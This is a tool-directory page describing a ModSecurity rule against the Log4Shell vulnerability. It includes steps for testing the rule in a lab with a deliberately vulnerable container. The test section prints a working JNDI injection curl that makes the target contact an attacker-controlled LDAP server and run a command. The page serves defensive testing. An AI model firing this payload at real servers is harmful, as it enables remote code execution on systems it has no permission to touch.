Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
ModSec-log4j2 — Regra ModSec para proteção log4j2 - CVE-2021-44228 | Kitploit
Tools/GitHubGitHub/felipe8398/modsec-log4j2
Vulnerability ScannersExploitationWeb Application ExploitationWAF BypassPenetration TestingLearning & Education
GitHubfelipe8398/modsec-log4j2

ModSec-log4j2

Regra ModSec para proteção log4j2 - CVE-2021-44228

View Repository
344 years agoNot yet reviewed
Share

Testing the ModSec rule

Prerequisites

  • Have docker installed
  • Have Java installed on your machine

Running the test

  • Perform a git clone of the repository
  • Execute the command below to start the WAF (ModSec) and the vulnerable application
docker stack deploy -c docker-compose.yml WAF
  • Extract the JNDIExploit.v1.2.zip that is in the repository, enter the folder and execute the command below, where $IP should be your machine's IP, I do not recommend using 127.0.0.1
java -jar ./JNDIExploit-1.2-SNAPSHOT.jar -i $IP -p 8888
  • To test the RCE, execute the curl below replacing $IP with your machine's IP, it will create a file named pwned inside /tmp of the vulnerable application
curl 127.0.0.1:80 -H 'X-Api-Version: ${jndi:ldap://$IP:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'

Students' questions

1- How do I know if my WAF and vulnerable web application started?

Execute docker service ls, and check if there are two services each with one replica.

2- How to get modsec logs?

Execute docker exec -ti $(docker container ls | grep "felipe8398/redirector:latest"| awk '{print $1}') cat /var/log/apache2/error.log

3- How to verify if the RCE didn't work?

The curl we used creates a file named pwned inside tmp, so we need to execute docker exec -ti $(docker container ls | grep ghcr.io/christophetd/log4shell-vulnerable-app:latest | awk '{print $1}') ls /tmp

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    867
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    544
  • 3

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    385
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    360
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    302
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    279

Explore all tools

Browse our collection of tools

View all tools →